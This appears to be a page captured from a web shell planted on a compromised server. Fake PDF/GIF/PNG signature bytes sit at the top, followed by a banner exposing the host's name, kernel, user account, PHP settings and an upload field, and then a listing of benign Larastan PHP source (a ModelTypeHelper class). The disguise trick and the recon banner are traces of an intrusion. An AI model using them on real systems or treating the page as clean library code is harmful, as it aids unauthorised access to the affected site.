%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/nunomaduro/larastan/src/Methods/ |
Upload File : |
<?php
declare(strict_types=1);
namespace NunoMaduro\Larastan\Methods;
use Illuminate\Database\Eloquent\Model;
use PHPStan\Type\ObjectType;
use PHPStan\Type\ObjectWithoutClassType;
use PHPStan\Type\StaticType;
use PHPStan\Type\Type;
use PHPStan\Type\TypeTraverser;
use PHPStan\Type\TypeWithClassName;
final class ModelTypeHelper
{
public static function replaceStaticTypeWithModel(Type $type, string $modelClass): Type
{
return TypeTraverser::map($type, static function (Type $type, callable $traverse) use ($modelClass): Type {
if ($type instanceof ObjectWithoutClassType || $type instanceof StaticType) {
return new ObjectType($modelClass);
}
if ($type instanceof TypeWithClassName && $type->getClassName() === Model::class) {
return new ObjectType($modelClass);
}
return $traverse($type);
});
}
}